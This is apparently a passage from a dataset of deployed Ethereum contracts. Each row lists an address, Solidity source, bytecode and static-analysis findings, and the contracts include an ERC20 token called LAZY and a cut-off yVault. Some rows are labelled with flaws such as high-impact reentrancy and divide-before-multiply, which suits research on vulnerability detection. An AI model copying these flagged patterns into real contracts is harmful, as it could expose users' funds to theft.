84039060008661646e5a03f11515610a8757600080fd5b505060206040510351600160a060020a031614610aa357600080fd5b33600160a060020a0381166000908152600660209081526040808320858452909152908190208b90557f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918c918c918c918c918c918c91908c908c908c9051600160a060020a039a8b16815260208101999099529689166040808a01919091526060890196909652608088019490945260a087019290925290951660c085015260ff90941660e084015261010083019390935261012082015261014001905180910390a15b50505050505050505050565b6000806002308a8a8a8a8a8a6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f11515610bfc57600080fd5b50506040518051600160a060020a038516600090815260066020908152604080832084845290915290205493509150505b50979650505050505050565b33600160a060020a03166000908152600080516020612180833981519152602052604090205481901015610c6c57600080fd5b33600160a060020a031660009081526000805160206121808339815191526020526040902054610c9c9082612139565b33600160a060020a03166000818152600080516020612180833981519152602052604090819020929092559082905160006040518083038185876187965a03f1925050501515610ceb57600080fd5b33600160a060020a03811660009081526000805160206121808339815191526020526040808220547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567939185919051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15b50565b60085460a060020a900460ff1615610d8657600080fd5b600160a060020a0382161515610d9b57600080fd5b81600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610e0557600080fd5b6102c65a03f11515610e1657600080fd5b505050604051805190501515610e2b57600080fd5b600160a060020a0380831660009081526005602090815260408083203390941683529290522054610e5c9082611d3d565b600160a060020a038381166000908152600560209081526040808320339485168452909152908190208390557fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79285929185919051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15b5b5050565b60005433600160a060020a03908116911614610f0357600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60085460009060a060020a900460ff1615610f4a57600080fd5b600160a060020a0384161515610f5f57600080fd5b600160a060020a0382161515610f7457600080fd5b60008311610f8157600080fd5b50336000600160a060020a0382166354fd4d5082604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fca57600080fd5b6102c65a03f11515610fdb57600080fd5b5050506040518051905061ffff16111515610ff557600080fd5b83600160a060020a03166323b872dd33308660006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561105f57600080fd5b6102c65a03f1151561107057600080fd5b50505060405180519050151561108557600080fd5b600160a060020a038085166000908152600560209081526040808320938616835292905220546110b59084611d3d565b600160a060020a038086166000908152600560209081526040808320938716835292905220555b5b50505050565b60005433600160a060020a039081169116146110fe57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600560209081526000928352604080842090915290825290205481565b6008547501000000000000000000000000000000000000000000900461ffff1681565b6002546000908190600160a060020a03161561120357600254600160a060020a031663ea08ec2c3360006040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156111d957600080fd5b6102c65a03f115156111ea57600080fd5b505050604051805190602001805190509150915061120a565b5060009050805b5b9091565b60005433600160a060020a0390811691161461122a57600080fd5b60045481111561123957600080fd5b60048190555b5b50565b60085460009060a060020a900460ff161561125d57600080fd5b600160a060020a038216151561127257600080fd5b6000341161127f57600080fd5b50336000600160a060020a0382166354fd4d5082604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156112c857600080fd5b6102c65a03f115156112d957600080fd5b5050506040518051905061ffff161115156112f357600080fd5b600160a060020a038216600090815260008051602061218083398151915260205260409020546113239034611d3d565b600160a060020a038316600090815260008051602061218083398151915260205260409020555b5b5050565b600160a060020a03808d166000908152600560209081526040808320938516835292905290812054839010806113955750826113938e8e8e8e8e8e8e8e8e8e611b3f565b105b156113a2575060006113a6565b5060015b9c9b505050505050505050505050565b600754600160a060020a031681565b60005433600160a060020a039081169116146113e057600080fd5b600160a060020a03811615156113f557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600054600160a060020a031681565b600160a060020a038216151561144657600080fd5b600160a060020a03808316600090815260056020908152604080832033909416835292905220548190101561147a57600080fd5b600160a060020a03808316600090815260056020908152604080832033909416835292905220546114ab9082612139565b600160a060020a03808416600081815260056020908152604080832033958616845290915280822094909455909263a9059cbb92918591516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561152a57600080fd5b6102c65a03f1151561153b57600080fd5b50505060405180519050151561155057600080fd5b600160a060020a03808316600090815260056020908152604080832033948516845290915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679285929091859151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15b5050565b600854600160a060020a031681565b60075460009081908190819081908190600160a060020a0316151561160c57600080fd5b600754600160a060020a03169550600094505b60148561ffff1610156116d25785600160a060020a0316636ff968c36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561167257600080fd5b6102c65a03f1151561168357600080fd5b50505060405180519050935030600160a060020a031684600160a060020a031614156116ae57600080fd5b600160a060020a03841615156116c3576116d2565b8395505b60019094019361161f565b33600160a060020a031660009081526000805160206121808339815191526020526040812054935083111561178a57600160a060020a0333818116600090815260008051602061218083398151915260205260408082209190915591881691636a523c5e9186915160e060020a63ffffffff8516028152600160a060020a0390911660048201526024016000604051808303818588803b151561177457600080fd5b6125ee5a03f1151561178557600080fd5b505050505b600094505b86518561ffff16101561192957868561ffff16815181106117ac57fe5b906020019060200201519150600160a060020a03821615156117cd57600080fd5b50600160a060020a03808216600090815260056020908152604080832033909416835292905220548015156118015761191e565b81600160a060020a031663095ea7b3878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561185e57600080fd5b6102c65a03f1151561186f57600080fd5b50505060405180519050151561188457600080fd5b600160a060020a03808316600090815260056020908152604080832033808616855292528083209290925591881691633c2e2a7591859185915160e060020a63ffffffff8616028152600160a060020a03938416600482015260248101929092529091166044820152606401600060405180830381600087803b151561190957600080fd5b6102c65a03f1151561191a57600080fd5b5050505b60019094019361178f565b7f0e3e9a671666295c299b941a07625839915442794bf73a484b24bb3e221270c333604051600160a060020a03909116815260200160405180910390a15b50505050505050565b60085460a060020a900460ff161561198757600080fd5b33600160a060020a0316600090815260008051602061218083398151915260205260409020546119b79034611d3d565b33600160a060020a038116600090815260008051602061218083398151915260205260408082208490557fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d793919291349151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15b5b565b60045481565b60005433600160a060020a03908116911614611a5f57600080fd5b6008805474ff0000000000000000000000000000000000000000191660a060020a841515021790556007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5050565b60005433600160a060020a03908116911614611ad057600080fd5b600160a060020a0381161515611ae557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a038083166000908152600560209081526040808320938516835292905220545b92915050565b6000806000806002308f8f8f8f8f8f6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f11515611bca57600080fd5b50506040518051935050600160a060020a0388166001846040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208989896040518060005260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f11515611c7c57600080fd5b505060206040510351600160a060020a0316141580611c9a57508943115b15611ca85760009350611d2c565b600160a060020a0388166000908152600660209081526040808320868452909152902054611cd7908e90612139565b600160a060020a03808e166000908152600560209081526040808320938d16835292905220549092508b90611d0c908f612150565b811515611d1557fe5b04905080821015611d2857819350611d2c565b8093505b5050509a9950505050505050505050565b6000828201838110801590611d525750828110155b1515611d5a57fe5b8091505b5092915050565b6000806000806000670de0b6b3a7640000611d8287600454612150565b811515611d8b57fe5b049450600093508a611d9d8a88612150565b811515611da657fe5b6002549190049350600160a060020a031615611e9057600254600160a060020a031663e97fe114898960006040516040015260405160e060020a63ffffffff8516028152600160a060020a039283166004820152911660248201526044016040805180830381600087803b1515611e1c57600080fd5b6102c65a03f11515611e2d57600080fd5b50505060405180519060200180519050915091506064821115611e4f57600091505b6064811115611e5c575060005b6064611e6b8684606403612150565b811515611e7457fe5b0494506064611e838287612150565b811515611e8c57fe5b0493505b600160a060020a03808d166000908152600560209081526040808320938c1683529290522054611ec990611ec48887611d3d565b611d3d565b600160a060020a038d811660009081526005602090815260408083208d851684529091528082209390935590891681522054611f0e90611f098888611d3d565b612139565b600160a060020a03808e1660009081526005602081815260408084208d861685528252808420959095558e84168352908152838220928c168252919091522054611f589084612139565b600160a060020a038b811660009081526005602090815260408083208d851684529091528082209390935590891681522054611f949084611d3d565b600560008c600160a060020a0316600160a060020a03168152602001908152602001600020600089600160a060020a0316600160a060020a0316815260200190815260200160002081905550612050600560008e600160a060020a0316600160a060020a031681526020019081526020016000206000600160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a0316815260200190815260200160002054611ec48787612139565b611d3d565b600160a060020a03808e16600090815260056020908152604080832060015485168452909152902091909155600354161561091357600354600160a060020a031663f0fc14388d888d878d8d8c8c60405160e060020a63ffffffff8b16028152600160a060020a039889166004820152602481019790975294871660448701526064860193909352908516608485015290931660a483015260c482019290925260e481019190915261010401600060405180830381600087803b151561211557600080fd5b6102c65a03f1151561212657600080fd5b5050505b5b505050505050505050505050565b60008282111561214557fe5b508082035b92915050565b6000828202831580611d52575082848281151561216957fe5b04145b1515611d5a57fe5b8091505b5092915050560005b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bca165627a7a7230582077f218d396cd040a425e3dc0d8a1d2b99db2d2b265a225a4134ec6bed3adc3810029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,186 |
0xaaf6a170ad0aa3c76525d85d1dfb1d5f8e55428b | pragma solidity 0.6.12;
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "LZY";
string public name = "LAZY";
uint256 public decimals = 18;
uint256 private maxCapSupply = 1e7 * 10**(decimals); // 10 million
uint256 _totalSupply = 520000 * 10 ** (decimals); // 520,000
address stakeFarmingContract;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
// mint _totalSupply amount of tokens and send to owner
balances[owner] = balances[owner].add(_totalSupply);
emit Transfer(address(0),owner, _totalSupply);
}
function SetStakeFarmingContract(address _address) external onlyOwner{
require(_address != address(0), "Invalid address");
stakeFarmingContract = _address;
}
// ------------------------------------------------------------------------
// Token Minting function
// @params _amount expects the amount of tokens to be minted excluding the
// required decimals
// @params _beneficiary tokens will be sent to _beneficiary
// @required only owner OR stakeFarmingContract
// ------------------------------------------------------------------------
function MintTokens(uint256 _amount, address _beneficiary) public returns(bool){
require(msg.sender == stakeFarmingContract);
require(_beneficiary != address(0), "Invalid address");
require(_totalSupply.add(_amount) <= maxCapSupply, "exceeds max cap supply 10 million");
_totalSupply = _totalSupply.add(_amount);
// mint _amount tokens and keep inside contract
balances[_beneficiary] = balances[_beneficiary].add(_amount);
emit Transfer(address(0),_beneficiary, _amount);
return true;
}
// ------------------------------------------------------------------------
// Burn the `_amount` amount of tokens from the calling `account`
// @params _amount the amount of tokens to burn
// ------------------------------------------------------------------------
function BurnTokens(uint256 _amount) external {
_burn(_amount, msg.sender);
}
// ------------------------------------------------------------------------
// @dev Internal function that burns an amount of the token from a given account
// @param _amount The amount that will be burnt
// @param _account The tokens to burn from
// ------------------------------------------------------------------------
function _burn(uint256 _amount, address _account) internal {
require(balances[_account] >= _amount, "insufficient account balance");
_totalSupply = _totalSupply.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/** ERC20Interface function's implementation **/
// ------------------------------------------------------------------------
// Get the total supply of the `token`
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to].add(tokens) >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender,to,tokens);
return true;
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
require(from != address(0), "Invalid address");
require(to != address(0), "Invalid address");
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
| 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80636f2e33b511610097578063a457c2d711610066578063a457c2d714610309578063a9059cbb14610335578063dd62ed3e14610361578063f2fde38b1461038f57610100565b80636f2e33b51461029157806370a08231146102b75780638da5cb5b146102dd57806395d89b411461030157610100565b80632cd3fd70116100d35780632cd3fd7014610212578063313ce5671461023157806339509351146102395780636a9c5acd1461026557610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103b5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610440565b604080519115158252519081900360200190f35b6101ca610456565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561045c565b61022f6004803603602081101561022857600080fd5b5035610634565b005b6101ca610641565b6101ae6004803603604081101561024f57600080fd5b506001600160a01b038135169060200135610647565b6101ae6004803603604081101561027b57600080fd5b50803590602001356001600160a01b0316610682565b61022f600480360360208110156102a757600080fd5b50356001600160a01b03166107b4565b6101ca600480360360208110156102cd57600080fd5b50356001600160a01b031661083a565b6102e5610855565b604080516001600160a01b039092168252519081900360200190f35b61010d610864565b6101ae6004803603604081101561031f57600080fd5b506001600160a01b0381351690602001356108be565b6101ae6004803603604081101561034b57600080fd5b506001600160a01b0381351690602001356108f4565b6101ca6004803603604081101561037757600080fd5b506001600160a01b03813581169160200135166109e5565b61022f600480360360208110156103a557600080fd5b50356001600160a01b0316610a10565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b505050505081565b600061044d338484610a88565b50600192915050565b60055490565b6001600160a01b038316600090815260086020908152604080832033845290915281205482111561048c57600080fd5b6001600160a01b0384166000908152600760205260409020548211156104b157600080fd5b6001600160a01b0384166104fe576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6001600160a01b03831661054b576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6001600160a01b03841660009081526007602052604090205461056e9083610b74565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461059d9083610a72565b6001600160a01b0380851660009081526007602090815260408083209490945591871681526008825282812033825290915220546105db9083610b74565b6001600160a01b0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020610caf833981519152929181900390910190a35060019392505050565b61063e8133610b86565b50565b60035481565b3360008181526008602090815260408083206001600160a01b0387168452909152812054909161044d91859061067d9086610a72565b610a88565b6006546000906001600160a01b0316331461069c57600080fd5b6001600160a01b0382166106e9576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6004546005546106f99085610a72565b11156107365760405162461bcd60e51b8152600401808060200182810382526021815260200180610c8e6021913960400191505060405180910390fd5b6005546107439084610a72565b6005556001600160a01b0382166000908152600760205260409020546107699084610a72565b6001600160a01b0383166000818152600760209081526040808320949094558351878152935192939192600080516020610caf8339815191529281900390910190a350600192915050565b6000546001600160a01b031633146107cb57600080fd5b6001600160a01b038116610818576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205490565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104385780601f1061040d57610100808354040283529160200191610438565b3360008181526008602090815260408083206001600160a01b0387168452909152812054909161044d91859061067d9086610b74565b60006001600160a01b03831661090957600080fd5b3360009081526007602052604090205482111561092557600080fd5b6001600160a01b0383166000908152600760205260409020546109488184610a72565b101561095357600080fd5b3360009081526007602052604090205461096d9083610b74565b33600090815260076020526040808220929092556001600160a01b038516815220546109999083610a72565b6001600160a01b038416600081815260076020908152604091829020939093558051858152905191923392600080516020610caf8339815191529281900390910190a350600192915050565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610a2757600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600082820183811015610a8157fe5b9392505050565b6001600160a01b038316610acd5760405162461bcd60e51b8152600401808060200182810382526024815260200180610ccf6024913960400191505060405180910390fd5b6001600160a01b038216610b125760405162461bcd60e51b8152600401808060200182810382526022815260200180610c6c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082821115610b8057fe5b50900390565b6001600160a01b038116600090815260076020526040902054821115610bf3576040805162461bcd60e51b815260206004820152601c60248201527f696e73756666696369656e74206163636f756e742062616c616e636500000000604482015290519081900360640190fd5b600554610c009083610b74565b6005556001600160a01b038116600090815260076020526040902054610c269083610b74565b6001600160a01b038216600081815260076020908152604080832094909455835186815293519193600080516020610caf833981519152929081900390910190a3505056fe45524332303a20617070726f766520746f20746865207a65726f206164647265737365786365656473206d61782063617020737570706c79203130206d696c6c696f6eddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220aab4696e5ed37f8121bccdce9af9cf140fb5dc8f754e2b8ab2be50991889fb7964736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,187 |
0xe1237aa7f535b0cc33fd973d66cbf830354d16c7 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint wad) external;
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract yVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
